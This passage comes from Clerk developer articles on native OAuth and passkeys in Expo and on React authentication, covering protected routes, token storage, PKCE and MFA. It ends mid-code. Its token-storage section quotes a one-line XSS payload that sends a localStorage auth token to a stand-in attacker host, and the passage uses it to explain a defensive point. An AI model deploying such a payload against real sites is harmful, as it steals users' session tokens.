Browser OAuth and native passkeys operate in completely different layers. In-app browser tabs during an OAuth redirect don't participate in the native passkey ecosystem ([Corbado Native App Passkeys, 2025](https://www.corbado.com/blog/native-app-passkeys)). So if passkeys are on your roadmap (and they probably should be), native OAuth puts you on the right foundation.

The numbers back this up. More than 15 billion online accounts can now use passkeys ([FIDO Alliance, 2025](https://fidoalliance.org/passkey-adoption-doubles-in-2024-more-than-15-billion-online-accounts-can-leverage-passkeys/)). 69% of users have created at least one passkey ([FIDO Alliance, 2025](https://fidoalliance.org/fido-alliance-champions-widespread-passkey-adoption-and-a-passwordless-future-on-world-passkey-day-2025/)). And 87% of businesses are actively deploying passkeys ([FIDO Alliance Passkey Index, 2025](https://fidoalliance.org/passkey-index-2025/)).

> \[!NOTE]
> Dashlane reported a 92% sign-in conversion rate with passkeys versus 54% for passwords ([Google Passkey Case Study, Dashlane](https://developers.google.com/identity/passkeys/case-studies/dashlane)). That comparison is passkey vs. password, not native vs. browser OAuth. But the relevance is clear: native OAuth uses the same APIs that make passkeys possible.

For Expo passkey support, Clerk offers `@clerk/expo-passkeys` ([Clerk Expo Passkeys docs](/docs/reference/expo/passkeys)). The community `react-native-passkeys` package ([GitHub](https://github.com/peterferguson/react-native-passkeys)) is another option. Both require development builds; Expo Go can't access the native APIs ([Authsignal Blog, 2025](https://www.authsignal.com/blog/articles/implementing-passkeys-in-react-native-why-expo-go-falls-short-and-how-to-fix-it)).

Here's the minimal Clerk passkey code:

```tsx
import { useUser, useSignIn } from '@clerk/expo'

// Creating a passkey
const { user } = useUser()
await user.createPasskey()

// Signing in with a passkey
const { signIn } = useSignIn()
await signIn.authenticateWithPasskey({ flow: 'discoverable' })
```

Two calls. No browser, no redirect, no deep links.

> \[!IMPORTANT]
> RFC 8252 recommends external browser tabs as the secure pattern for mobile OAuth ([RFC 8252](https://www.rfc-editor.org/rfc/rfc8252.html)). Native sign-in is a UX optimization, not a blanket security improvement. The browser isolates credentials from the app. Native APIs achieve security through platform-level attestation instead. Both approaches have valid security models; they protect against different threat vectors.

## Side-by-side comparison

Here's how the three approaches stack up across the dimensions that matter:

| Dimension      | Browser OAuth                                     | Native Hooks                            | Native AuthView         |
| -------------- | ------------------------------------------------- | --------------------------------------- | ----------------------- |
| Google Sign-In | Browser redirect                                  | Credential Manager / ASAuthorization    | Built-in                |
| Apple Sign-In  | Browser redirect                                  | Face ID sheet (iOS) / browser (Android) | Built-in                |
| Browser opens? | Yes                                               | No                                      | No                      |
| Expo Go?       | Limited (not recommended)                         | No                                      | No                      |
| Passkey-ready? | No                                                | Yes                                     | Yes                     |
| Custom UI?     | Full control                                      | Full control                            | Clerk controls UI       |
| Lines of code  | \~40/provider                                     | \~25/provider                           | \~5 total               |
| Extra packages | expo-web-browser, expo-linking, expo-auth-session | expo-apple-authentication, expo-crypto  | None beyond @clerk/expo |
| Min Expo SDK   | 51+                                               | 53+                                     | 53+                     |

The core call for each approach boils down to one line.

Browser OAuth:

```tsx
const result = await startSSOFlow({
  strategy: 'oauth_google',
  redirectUrl: Linking.createURL('/dashboard', { scheme: 'myapp' }),
})
```

Native hooks:

```tsx
const result = await startGoogleAuthenticationFlow()
```

AuthView (beta):

```tsx
<AuthView mode="signInOrUp" />
```

Native approaches require an Expo config plugin. Here's the relevant `app.json` configuration:

```json
{
  "expo": {
    "plugins": ["expo-router", "expo-secure-store", "expo-apple-authentication", "@clerk/expo"]
  }
}
```

The `@clerk/expo` plugin handles the native Google Sign-In configuration. `expo-apple-authentication` enables the Apple Sign-In entitlement. Neither plugin works in Expo Go, which brings us to the next section.

## Expo Go vs. development builds

Expo Go is great for prototyping. Tap a QR code, see your app. But it can't run custom native code, and native OAuth requires custom native code.

**Expo Go limitations for OAuth:**

- No config plugins. The `@clerk/expo` and `expo-apple-authentication` plugins need to modify native project files. Expo Go ships with a fixed set of native modules.
- Browser OAuth works in Expo Go, but with caveats. Expo's own documentation warns that OAuth in Expo Go is unreliable for production use.
- No passkey support. `@clerk/expo-passkeys` and `react-native-passkeys` both need native modules that Expo Go doesn't include.

> \[!WARNING]
> Expo Go's OAuth support is meant for quick testing, not production. Redirect handling and deep linking behave differently in Expo Go compared to standalone builds. Test your auth flows in a development build before shipping.

**Development builds** are the answer. They're custom versions of Expo Go that include your project's native modules. The workflow change is minimal:

1. Run `npx expo prebuild` to generate native projects.
2. Run `npx expo run:ios` or `npx expo run:android` instead of `npx expo start`.
3. You still get hot reload, the dev menu, and fast iteration.

The trade-off is real but small. You lose the QR-code-and-go simplicity of Expo Go. You gain access to every native API your app needs. For any app shipping to the App Store or Play Store, you'll need development builds anyway.

**When browser OAuth still makes sense:** Early prototyping in Expo Go. Supporting providers that don't offer native SDKs (Discord, GitHub, Notion). Web platform targets where native APIs don't exist.

## App Store compliance

Apple and Google both have opinions about how authentication should work in mobile apps. Getting these wrong means rejection.

### Apple's Guidelines

**[Guideline 4.8](https://developer.apple.com/app-store/review/guidelines/#sign-in-with-apple)** requires that apps offering third-party social login must also offer Sign in with Apple as an option. Exceptions exist: apps that exclusively use your company's own account system, education or enterprise apps using existing credentials, government or industry-backed identity systems, and apps that are clients for a specific third-party service (e.g., a Gmail client doesn't need Apple Sign-In) ([Apple Developer, 2025](https://developer.apple.com/app-store/review/guidelines/)).

**Guideline 4.0 (Design)** is trickier. Apple has rejected apps that present authentication through an embedded web view or browser redirect when a native experience is expected. Auth0 users have reported App Store rejections tied to their browser-based login flow ([Auth0 Community, 2024](https://community.auth0.com/t/app-store-rejection-due-to-web-login-issue-with-phone-passwordless-react-native-auth0-and-sfsafariviewcontroller/189417)). AWS Amplify users have seen similar issues ([Amplify GitHub Issue #13668, 2024](https://github.com/aws-amplify/amplify-js/issues/13668)). The pattern: Apple reviewers flag browser-based login as a substandard experience.

Native Sign in with Apple removes the browser-redirect UX that triggered these rejections. The Face ID bottom sheet aligns with what Apple reviewers expect to see.

### Google's WebView policy

Google blocks OAuth sign-in from embedded WebViews (not system browser tabs, but actual `WebView` components). This has been policy since 2021. `expo-web-browser` uses `SFSafariViewController` on iOS and Chrome Custom Tabs on Android, which are allowed. But if you're using a raw `WebView`, Google will block the request.

### The RFC 8252 nuance

RFC 8252 recommends external browser tabs (not WebViews) as the secure pattern for mobile [OAuth](/glossary#authorization-code-flow). This is what `expo-web-browser` implements. Native OAuth sidesteps the entire redirect pattern, which means RFC 8252's guidance about redirect URIs, [PKCE](/glossary#code-exchange-pkce), and browser security doesn't directly apply. Native APIs handle security through platform attestation and the Credential Management API instead.

Both approaches comply with platform requirements. Native just happens to also satisfy the "native experience" preference that app store reviewers increasingly expect.

## Decision framework

### When to use browser OAuth

- You're prototyping in Expo Go and need quick social login.
- You support providers without native SDKs (GitHub, Discord, Notion, LinkedIn).
- Your app targets the web in addition to iOS/Android.
- You want the simplest possible initial setup.
- You're using a provider that only supports browser flows (Descope, Amplify Hosted UI).

### When to use native OAuth

- You're shipping to the App Store or Play Store (you're already building dev builds).
- Google and Apple are your primary social login providers.
- You want to avoid the redirect-related failure modes documented on Android.
- Passkeys are on your roadmap.
- You want the fastest possible sign-in UX.
- App Store reviewers have flagged your browser-based login.

### The "start browser, migrate native" path

Many teams start with browser OAuth during early development, then migrate to native before launch. That's a reasonable approach. Here's what the migration looks like:

1. **Set up a development build.** Run `npx expo prebuild` and switch from `npx expo start` to `npx expo run:ios` / `npx expo run:android`.
2. **Add config plugins.** Add `@clerk/expo`, `expo-apple-authentication`, and `expo-secure-store` to the plugins array in `app.json`.
3. **Configure platform credentials.** Set up Google OAuth client IDs for iOS and Android in the Google Cloud Console. Enable Sign in with Apple in your Apple Developer account.
4. **Swap the hook calls.** Replace `useSSO` with `useSignInWithGoogle` and `useSignInWithApple`. Remove `expo-web-browser` and `expo-linking` imports.
5. **Add platform fallbacks.** For providers that don't have native SDKs, keep `useSSO` as the fallback.
6. **Test on physical devices.** Credential Manager and `ASAuthorization` behave differently in simulators.

> \[!TIP]
> Test native sign-in on real devices, not just simulators. Android emulators don't always have Google Play Services configured correctly, and iOS simulators don't support Face ID by default (you'll need to enable it in the simulator's Features menu).

### Provider comparison (verified March 2026)

| Provider |  Native Google  |   Native Apple  | Browser OAuth | Config Plugin | Free Tier             | Self-Hosting |
| -------- | :-------------: | :-------------: | :-----------: | :-----------: | --------------------- | :----------: |
| Clerk    |       Yes       |       Yes       |      Yes      |      Yes      | 50,000 MRU            |      No      |
| Supabase |  Manual wiring  |  Manual wiring  |      Yes      |       No      | 50,000 MAU            |      Yes     |
| Firebase | Via RN Firebase | Via RN Firebase |      Yes      |       No      | Unlimited (non-phone) |      No      |
| Auth0    |        No       |        No       |      Yes      |       No      | 25,000 MAU            |      No      |
| Stytch   |     Partial     |  No native iOS  |      Yes      |       No      | 10,000 MAU            |      No      |
| Descope  |        No       |        No       |      Yes      |       No      | 7,500 MAU             |      No      |

Clerk is the only provider in this comparison with an Expo config plugin that handles both Google and Apple native sign-in from a single package. Supabase and Firebase support native flows but require assembling multiple packages manually. Provider capabilities and free tier limits change; check each provider's current pricing page before making commitments.

## Frequently asked questions

---

# React Authentication: From Protected Routes to Passkeys
URL: https://clerk.com/articles/react-authentication-from-protected-routes-to-passkeys.md
Date: 2026-03-26
Description: Build production-grade authentication in React from scratch. Covers protected routes, token security, social login, MFA, passkeys, and platform comparison with working TypeScript code.

88% of web application breaches involve stolen credentials ([Verizon DBIR, 2025](https://www.verizon.com/business/resources/reports/dbir/); [Descope, 2025](https://www.descope.com/blog/post/dbir-2025)), with the average breach costing $4.44M ([IBM, 2025](https://www.ibm.com/reports/data-breach)). [Authentication](/glossary#authentication) in React spans token storage, [session management](/glossary#session-management), [OAuth](/glossary#oauth), [multi-factor authentication](/glossary#multi-factor-authentication-mfa), [passkeys](/glossary#passkeys), and XSS/CSRF prevention — most tutorials cover the login form and stop. This guide covers the full stack: from protected routes to passkeys, with working TypeScript code and security analysis. We compare building it yourself against Auth0, Firebase Auth, Supabase Auth, and Clerk.

| Topic           | Key Finding                                                                                                                                                                                                | What You'll Learn                     |
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------- |
| Token security  | localStorage is vulnerable to XSS                                                                                                                                                                          | In-memory + httpOnly cookie pattern   |
| MFA             | Blocks 99.9% of automated attacks                                                                                                                                                                          | TOTP + passkey implementation         |
| Passkeys        | 93% success rate, 8x faster than password+MFA ([Microsoft, 2025](https://www.microsoft.com/en-us/security/blog/2025/05/01/pushing-passkeys-forward-microsofts-latest-updates-for-simpler-safer-sign-ins/)) | WebAuthn integration in React         |
| Social login    | Increases signup conversion 20-40%                                                                                                                                                                         | OAuth 2.0 with PKCE                   |
| Platform choice | React-native SDKs vary significantly                                                                                                                                                                       | Feature comparison across 4 platforms |

## Setting up a React project for secure authentication

This tutorial uses Vite + React + TypeScript, the standard 2026 React stack. We'll walk through two parallel approaches:

- **DIY:** React + React Router + custom AuthContext
- **Clerk:** React + `@clerk/react`

A quick note on Clerk packages: `@clerk/react` is the base React SDK for any React app. If you're using React Router as a framework (with `react-router.config.ts`), there's also `@clerk/react-router` with framework-specific integrations like loaders and route-level auth. For a Vite app using React Router as a library (the approach here), `@clerk/react` is all you need.

Here's the Clerk setup. The entire auth layer wraps your app root:

```tsx {{ filename: 'src/main.tsx' }}
import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import { ClerkProvider } from '@clerk/react'
import App from './App.tsx'

createRoot(document.getElementById('root')!).render(
  <StrictMode>
    <ClerkProvider afterSignOutUrl="/">
      <App />
    </ClerkProvider>
  </StrictMode>,
)
```

`ClerkProvider` reads `VITE_CLERK_PUBLISHABLE_KEY` from your environment automatically. Never hardcode API keys; use environment variables with the `VITE_` prefix for Vite projects.

The app shell uses the `<Show>` component to conditionally render based on auth state:

```tsx {{ filename: 'src/App.tsx' }}
import { Show, SignInButton, SignUpButton, UserButton } from '@clerk/react'

export default function App() {
  return (
    <div>
      <header>
        <Show when="signed-out">
          <SignInButton />
          <SignUpButton />
        </Show>
        <Show when="signed-in">
          <UserButton />
        </Show>
      </header>
      <main>{/* Your app content */}</main>
    </div>
  )
}
```

That's a working auth UI in about 20 lines. The DIY version of this requires building every piece yourself, which is what the next several sections cover.

## Implementing protected routes in React

Client-side route protection improves the user experience by hiding UI that requires authentication. Your server is the actual security boundary and must validate auth independently on every request.

That said, route guards are critical for a good user experience. Without them, unauthenticated users see a flash of protected content before being redirected.

Here's a `ProtectedRoute` component using React Router:

```tsx {{ filename: 'src/components/ProtectedRoute.tsx' }}
import { Navigate, Outlet, useLocation } from 'react-router-dom'
import { useAuth } from '../providers/AuthProvider'

export function ProtectedRoute() {
  const { user, isLoading } = useAuth()
  const location = useLocation()

  if (isLoading) {
    return <div>Loading...</div>
  }

  if (!user) {
    return <Navigate to="/sign-in" state={{ from: location }} replace />
  }

  return <Outlet />
}
```

The `isLoading` guard is critical. Without it, the component redirects to sign-in on every page load before the auth state has resolved. The `state={{ from: location }}` preserves the original destination so you can redirect back after sign-in.

Wire it into your router as a layout route:

```tsx {{ filename: 'src/router.tsx' }}
import { createBrowserRouter } from 'react-router-dom'
import { ProtectedRoute } from './components/ProtectedRoute'
import { Home } from './pages/Home'
import { SignIn } from './pages/SignIn'
import { Dashboard } from './pages/Dashboard'
import { Settings } from './pages/Settings'

export const router = createBrowserRouter([
  { path: '/', element: <Home /> },
  { path: '/sign-in', element: <SignIn /> },
  {
    element: <ProtectedRoute />,
    children: [
      { path: '/dashboard', element: <Dashboard /> },
      { path: '/settings', element: <Settings /> },
    ],
  },
])
```

With Clerk, the same pattern is simpler because auth state management is handled internally:

```tsx {{ filename: 'src/components/ProtectedRoute.tsx' }}
import { Navigate, Outlet, useLocation } from 'react-router-dom'
import { useAuth } from '@clerk/react'

export function ProtectedRoute() {
  const { isLoaded, isSignedIn } = useAuth()
  const location = useLocation()

  if (!isLoaded) {
    return <div>Loading...</div>
  }

  if (!isSignedIn) {
    return <Navigate to="/sign-in" state={{ from: location }} replace />
  }

  return <Outlet />
}
```

The shape is similar, but you don't need to build the auth context, manage tokens, or handle refresh logic. That's all internal to [`useAuth()`](/docs/react/reference/hooks/use-auth).

## Managing auth state with Context API and hooks

DIY auth state management in React has a common pitfall: a single context that holds both state and actions causes unnecessary re-renders across your entire app. The fix is to split them.

```tsx {{ filename: 'src/providers/AuthProvider.tsx' }}
import {
  createContext,
  useCallback,
  useContext,
  useEffect,
  useMemo,
  useReducer,
  useRef,
} from 'react'

interface User {
  id: string
  email: string
}

interface AuthState {
  user: User | null
  isLoading: boolean
}

type AuthAction =
  | { type: 'SET_USER'; user: User }
  | { type: 'CLEAR_USER' }
  | { type: 'SET_LOADING'; isLoading: boolean }

const AuthStateContext = createContext<AuthState | null>(null)
const AuthActionsContext = createContext<{
  login: (email: string, password: string) => Promise<void>
  logout: () => Promise<void>
} | null>(null)

function authReducer(state: AuthState, action: AuthAction): AuthState {
  switch (action.type) {
    case 'SET_USER':
      return { user: action.user, isLoading: false }
    case 'CLEAR_USER':
      return { user: null, isLoading: false }
    case 'SET_LOADING':
      return { ...state, isLoading: action.isLoading }
  }
}

export function AuthProvider({ children }: { children: React.ReactNode }) {
  const [state, dispatch] = useReducer(authReducer, {
    user: null,
    isLoading: true,
  })
  const accessTokenRef = useRef<string | null>(null)

  useEffect(() => {
    // Silent refresh on mount: exchange refresh token (httpOnly cookie)
    // for a new access token
    fetch('/api/auth/refresh', { credentials: 'include' })
      .then((res) => (res.ok ? res.json() : Promise.reject()))
      .then(({ user, accessToken }) => {
        accessTokenRef.current = accessToken
        dispatch({ type: 'SET_USER', user })
      })
      .catch(() => dispatch({ type: 'CLEAR_USER' }))
  }, [])

  const login = useCallback(async (email: string, password: string) => {
    const res = await fetch('/api/auth/login', {
      method: 'POST',
      credentials: 'include',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email, password }),
    })
    const { user, accessToken } = await res.json()
    accessTokenRef.current = accessToken
    dispatch({ type: 'SET_USER', user })
  }, [])

  const logout = useCallback(async () => {
    await fetch('/api/auth/logout', {
      method: 'POST',
      credentials: 'include',
    })
    accessTokenRef.current = null
    dispatch({ type: 'CLEAR_USER' })
  }, [])

  const actions = useMemo(() => ({ login, logout }), [login, logout])

  return (
    <AuthStateContext.Provider value={state}>
      <AuthActionsContext.Provider value={actions}>{children}</AuthActionsContext.Provider>
    </AuthStateContext.Provider>
  )
}

export function useAuth() {
  const state = useContext(AuthStateContext)
  const actions = useContext(AuthActionsContext)
  if (!state || !actions) throw new Error('useAuth must be used within AuthProvider')
  return { ...state, ...actions }
}
```

Two contexts, a reducer, memoized callbacks, an in-memory token ref, silent refresh on mount. That's roughly 80 lines before you've handled token refresh failures, race conditions, or multi-tab session sync.

With Clerk, the same surface area collapses to this:

```tsx {{ filename: 'src/components/Dashboard.tsx' }}
import { useAuth, useUser } from '@clerk/react'

export function Dashboard() {
  const { isLoaded, userId, getToken } = useAuth()
  const { user } = useUser()

  if (!isLoaded) return <div>Loading...</div>

  return (
    <div>
      <h1>Welcome, {user?.firstName}</h1>
      <p>User ID: {userId}</p>
    </div>
  )
}
```

[`useAuth()`](/docs/react/reference/hooks/use-auth) handles session state, token refresh, and multi-tab sync. [`useUser()`](/docs/react/reference/hooks/use-user) provides user profile data. No context providers, no reducers, no refs.

As of March 2026, Clerk's React SDK (`@clerk/react`) has roughly 1.1M weekly npm downloads. That makes it the most downloaded React-specific auth SDK — ahead of @auth0/auth0-react (\~825K/week) — meaning a dedicated React SDK rather than a meta-framework SDK like `next-auth`.

## Token storage and JWT handling: the secure way

Most React auth tutorials store [JWTs](/glossary#json-web-token) in localStorage. This is the single most common auth security mistake in React apps, and it's dangerous.

| Storage Method                                | XSS Vulnerable | Survives Refresh |    CSRF Risk    | Recommendation   |
| --------------------------------------------- | :------------: | :--------------: | :-------------: | ---------------- |
| localStorage                                  |       Yes      |        Yes       |        No       | Never for tokens |
| sessionStorage                                |       Yes      |        No        |        No       | Never for tokens |
| In-memory (variable)                          |       No       |        No        |        No       | Access tokens    |
| [httpOnly cookie](/glossary#httponly-cookies) |       No       |        Yes       | Yes (mitigable) | Refresh tokens   |

The gold standard: store access tokens in memory and refresh tokens in httpOnly cookies. Here's why.

```typescript {{ filename: 'src/auth/insecure-example.ts' }}
// ❌ VULNERABLE: Any XSS payload can steal this token
export function saveToken(token: string) {
  localStorage.setItem('authToken', token)
}

export function getToken(): string | null {
  return localStorage.getItem('authToken')
}

// An attacker's XSS payload:
// fetch('https://evil.com/steal?token=' + localStorage.getItem('authToken'))
```

Any script running on your page (including injected third-party scripts, compromised dependencies, or XSS payloads) can read localStorage. Game over.

The secure alternative keeps tokens in a module-scoped variable that JavaScript from other contexts can't access:

```typescript {{ filename: 'src/auth/token-manager.ts' }}
// ✅ SECURE: Module-scoped variable, inaccessible to XSS injected scripts
let accessToken: string | null = null

export function setAccessToken(token: string | null) {
  accessToken = token
}

export function getAccessToken(): string | null {
  return accessToken
}
```

The tradeoff: in-memory tokens don't survive page refresh. You need a silent refresh mechanism using httpOnly cookies to restore them. Here's a complete API client with automatic token refresh and request queuing:

```typescript {{ filename: 'src/auth/api-client.ts' }}
import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios'
import { getAccessToken, setAccessToken } from './token-manager'

const api = axios.create({ baseURL: '/api' })

let isRefreshing = false
let failedQueue: Array<{
  resolve: (token: string) => void
  reject: (error: unknown) => void
}> = []

function processQueue(error: unknown, token: string | null) {
  failedQueue.forEach(({ resolve, reject }) => {
    if (error) {
      reject(error)
    } else {
      resolve(token!)
    }
  })
  failedQueue = []
}

api.interceptors.request.use((config: InternalAxiosRequestConfig) => {
  const token = getAccessToken()
  if (token) {
    config.headers.Authorization = `Bearer ${token}`
  }
  return config
})

api.interceptors.response.use(
  (response) => response,
  async (error: AxiosError) => {
    const originalRequest = error.config as InternalAxiosRequestConfig & {
      _retry?: boolean
    }

    if (error.response?.status !== 401 || originalRequest._retry) {
      return Promise.reject(error)
    }

    if (isRefreshing) {
      return new Promise((resolve, reject) => {
        failedQueue.push({
          resolve: (token) => {
            originalRequest.headers.Authorization = `Bearer ${token}`
            resolve(api(originalRequest))
          },
          reject,
        })
      })
    }

    originalRequest._retry = true
    isRefreshing = true

    try {
      const { data } = await axios.post('/api/auth/refresh', {}, { withCredentials: true })
      setAccessToken(data.accessToken)
      processQueue(null, data.accessToken)
      originalRequest.headers.Authorization = `Bearer ${data.accessToken}`
      return api(originalRequest)
    } catch (refreshError) {
      processQueue(refreshError, null)
      setAccessToken(null)
      window.location.href = '/sign-in'
      return Promise.reject(refreshError)
    } finally {
      isRefreshing = false
    }
  },
)

export default api
```

That's \~70 lines for a production token refresh client. It handles concurrent 401s by queuing requests, prevents duplicate refresh calls, and redirects to sign-in if the refresh token is expired.

**Refresh token rotation** adds another layer: every refresh returns a new refresh token and invalidates the old one. If an attacker replays a stolen refresh token, the server detects the reuse and invalidates all tokens for that session.

**Backend for Frontend (BFF) pattern:** For SPAs that need maximum security, the BFF pattern routes all API calls through a thin backend proxy that manages tokens server-side. The SPA never touches tokens directly. Both [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html) and [Curity](https://curity.io/resources/learn/spa-best-practices/) recommend this approach for high-security SPAs. It adds infrastructure complexity but eliminates client-side token exposure entirely.

**How Clerk handles this.** Clerk uses a hybrid stateful/stateless [authentication](/glossary#authentication) model. A long-lived client token (httpOnly cookie on the FAPI domain) serves as the source of truth for [session](/glossary#session) state. A short-lived session token (60-second JWT on your app's domain) handles request authentication without database lookups.

Clerk's SDK auto-refreshes the session token every 50 seconds in the background. This gives you the performance of stateless auth (no DB round-trip per request) with the revocability of stateful auth (revoke the client token and the session dies within 60 seconds).

No developer token management needed. See [How Clerk Works](/docs/guides/how-clerk-works/overview) for the full architecture.

Credential breaches take 246 days to identify and contain ([SpyCloud/IBM, 2025](https://spycloud.com/blog/6-takeaways-from-ibm-data-breach-report-2025/)). The overall average breach lifecycle is 241 days, the lowest in nine years. Meanwhile, 1.8 billion credentials were stolen by infostealers in 2025 ([Flashpoint, 2025](https://flashpoint.io/blog/flashpoint-2025-global-threat-intelligence-index-midyear/); [Vectra AI, 2025](https://www.vectra.ai/topics/infostealers); [Infosecurity Magazine, 2025](https://www.infosecurity-magazine.com/news/staggering-800-rise-infostealer/)).

OWASP explicitly recommends against localStorage for tokens ([OWASP HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html)).

JWT payloads are base64-encoded, not encrypted. Never put sensitive data in payloads ([RFC 8725](https://datatracker.ietf.org/doc/html/rfc8725)). Preferred signing algorithms: RS256, ES256, or EdDSA. Never allow `none`.

## Social login and OAuth 2.0 with PKCE

[Social login](/docs/guides/configure/auth-strategies/social-connections/overview) increases signup conversion by 20-40% ([Okta/Auth0, 2023](https://www.okta.com/resources/whitepaper-going-deep-with-social-login-a-new-analysis/)). Google dominates at \~62% of businesses offering social login ([6sense, 2026](https://6sense.com/tech/social-login/google-signin-market-share); [Okta State of Identity, 2024](https://www.okta.com/resources/whitepaper-going-deep-with-social-login-a-new-analysis/)), followed by Apple and Facebook.

The only secure [OAuth](/glossary#oauth) flow for SPAs is the [Authorization Code Flow](/glossary#authorization-code-flow) with [PKCE](/glossary#code-exchange-pkce) (Proof Key for Code Exchange). The Implicit Flow is deprecated because it exposes tokens in URL fragments, making them vulnerable to browser history leaks and referer header exposure.

Here's the PKCE implementation. You need a cryptographic code verifier and its SHA-256 challenge:

```typescript {{ filename: 'src/auth/pkce.ts' }}
export function generateCodeVerifier(): string {
  const array = new Uint8Array(32)
  crypto.getRandomValues(array)
  return btoa(String.fromCharCode(...array))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '')
}

export async function generateCodeChallenge(verifier: string): Promise<string> {
  const encoder = new TextEncoder()
  const data = encoder.encode(verifier)
  const digest = await crypto.subtle.digest('SHA-256', data)
  return btoa(String.fromCharCode(...new Uint8Array(digest)))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '')
}
```

Then build the authorization URL:

```typescript {{ filename: 'src/auth/oauth.ts' }}
import { generateCodeVerifier, generateCodeChallenge } from './pkce'

const OAUTH_ENDPOINTS: Record<'google' | 'github', string> = {
  google: 'https://accounts.google.com/o/oauth2/v2/auth',
  github: 'https://github.com/login/oauth/authorize',
}

export async function initiateOAuth(provider: 'google' | 'github') {
  const codeVerifier = generateCodeVerifier()
  const codeChallenge = await generateCodeChallenge(codeVerifier)
  const state = crypto.randomUUID()

  // Store verifier and state for the callback
  sessionStorage.setItem('pkce_verifier', codeVerifier)
  sessionStorage.setItem('oauth_state', state)

  const params = new URLSearchParams({
    client_id: import.meta.env.VITE_OAUTH_CLIENT_ID,
    redirect_uri: `${window.location.origin}/oauth/callback`,
    response_type: 'code',
    scope: 'openid email profile',
    code_challenge: codeChallenge,
    code_challenge_method: 'S256',
    state,
  })

  window.location.href = `${OAUTH_ENDPOINTS[provider]}?${params}`
}
```

That's \~35 lines just for the crypto and redirect. You still need the callback handler, token exchange, error handling, and [account linking](/glossary#account-linking) logic.

**Account linking** is a sleeper complexity. When a user signs up with Google and later tries email/password with the same email, your DIY implementation must manually merge accounts. This is error-prone and a common source of security bugs. Clerk handles account linking automatically.

**How Clerk handles this.** `signIn.sso()` handles PKCE, token exchange, and account linking internally. Clerk also manages the transfer between sign-in and sign-up flows when a user tries to sign in with an OAuth provider but doesn't have an account yet.

```tsx {{ filename: 'src/components/SocialLogin.tsx' }}
import { useSignIn } from '@clerk/react'

export function SocialLogin() {
  const { signIn, errors, fetchStatus } = useSignIn()

  const handleGoogleSignIn = async () => {
    const { error } = await signIn.sso({
      strategy: 'oauth_google',
      redirectCallbackUrl: '/sso-callback',
      redirectUrl: '/',
    })

    if (error) {
      console.error(JSON.stringify(error, null, 2))
    }
    // If no error, the browser redirects to Google
  }

  return (
    <div>
      <button onClick={handleGoogleSignIn} disabled={fetchStatus === 'fetching'}>
        {fetchStatus === 'fetching' ? 'Redirecting...' : 'Continue with Google'}
      </button>
      {errors.fields.identifier && <p>{errors.fields.identifier.message}</p>}
    </div>
  )
}
```

The SSO callback page handles the redirect response, including transferable sessions (when a sign-in attempt needs to become a sign-up, or vice versa):

```tsx {{ filename: 'src/pages/SSOCallback.tsx' }}
import { useEffect, useRef } from 'react'
import { useClerk, useSignIn, useSignUp } from '@clerk/react'
import { useNavigate } from 'react-router-dom'

export function SSOCallback() {
  const clerk = useClerk()
  const { signIn } = useSignIn()
  const { signUp } = useSignUp()
  const navigate = useNavigate()
  const hasRun = useRef(false)

  const handleNavigate = async ({
    session,
    decorateUrl,
  }: {
    session: { currentTask?: { key: string } | null }
    decorateUrl: (url: string) => string
  }) => {
    if (session?.currentTask) {
      // Handle required post-auth steps (e.g., setup-mfa)
      navigate(`/post-auth/${session.currentTask.key}`)
      return
    }
    const url = decorateUrl('/')
    if (url.startsWith('http')) {
      window.location.href = url
    } else {
      navigate(url)
    }
  }

  useEffect(() => {
    if (hasRun.current) return
    hasRun.current = true

    async function handleCallback() {
      // Sign-in completed
      if (signIn.status === 'complete') {
        await signIn.finalize({ navigate: handleNavigate })
        return
      }

      // User tried to sign up with existing account; transfer to sign-in
      if (signUp.isTransferable) {
        await signIn.create({ transfer: true })
        if (signIn.status === 'complete') {
          await signIn.finalize({ navigate: handleNavigate })
        }
        return
      }

      // User tried to sign in but has no account; transfer to sign-up
      if (signIn.isTransferable) {
        await signUp.create({ transfer: true })
        if (signUp.status === 'complete') {
          await signUp.finalize({ navigate: handleNavigate })
        }
        return
      }

      // Handle existing session
      if (signIn.existingSession || signUp.existingSession) {
        const sessionId = signIn.existingSession?.sessionId || signUp.existingSession?.sessionId
        await clerk.setActive({
          session: sessionId,
          navigate: handleNavigate,
        })
      }
    }

    handleCallback()
  }, [])

  return <div>Completing sign-in...</div>
}
```

The callback page handles four scenarios: completed sign-in, transferable sign-up to sign-in, transferable sign-in to sign-up, and existing sessions. With Clerk's prebuilt `<SignIn />` component, both pages collapse to zero custom code.

## Multi-factor authentication (MFA) in React

MFA blocks 99.9% of automated account compromises ([Microsoft, 2019](https://www.microsoft.com/en-us/security/blog/2019/08/20/one-simple-action-you-can-take-to-prevent-99-9-percent-of-account-attacks/)). A peer-reviewed Microsoft Research study refined that to 99.22% ([Microsoft Research, 2023](https://www.microsoft.com/en-us/research/publication/how-effective-is-multifactor-authentication-at-deterring-cyberattacks/)). Google found that zero users who exclusively used security keys fell victim to targeted phishing ([Google Security Blog, 2019](https://security.googleblog.com/2019/05/new-research-how-effective-is-basic.html)). On-device prompts blocked 100% of bots and 99% of bulk phishing in the same study.

OWASP ranks MFA factors by strength: passkeys > hardware keys > [TOTP](/glossary#authenticator-apps-totp) > push notifications > SMS ([OWASP MFA Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)). 83% of SMEs (2,500 or fewer employees) now require MFA ([JumpCloud/Propeller Insights, 2024](https://jumpcloud.com/blog/multi-factor-authentication-statistics)).

Here's a TOTP setup flow with Clerk. The `useReverification()` hook ensures the user re-authenticates before performing this sensitive action:

```tsx {{ filename: 'src/components/SetupTOTP.tsx' }}
import { useState } from 'react'
import { useUser, useReverification } from '@clerk/react'
import type { TOTPResource } from '@clerk/shared/types'
import { QRCodeSVG } from 'qrcode.react'

export function SetupTOTP() {
  const { user } = useUser()
  const [totp, setTotp] = useState<TOTPResource | null>(null)
  const [code, setCode] = useState('')
  const [verified, setVerified] = useState(false)

  const createTOTP = useReverification(() => user?.createTOTP())

  const handleSetup = async () => {
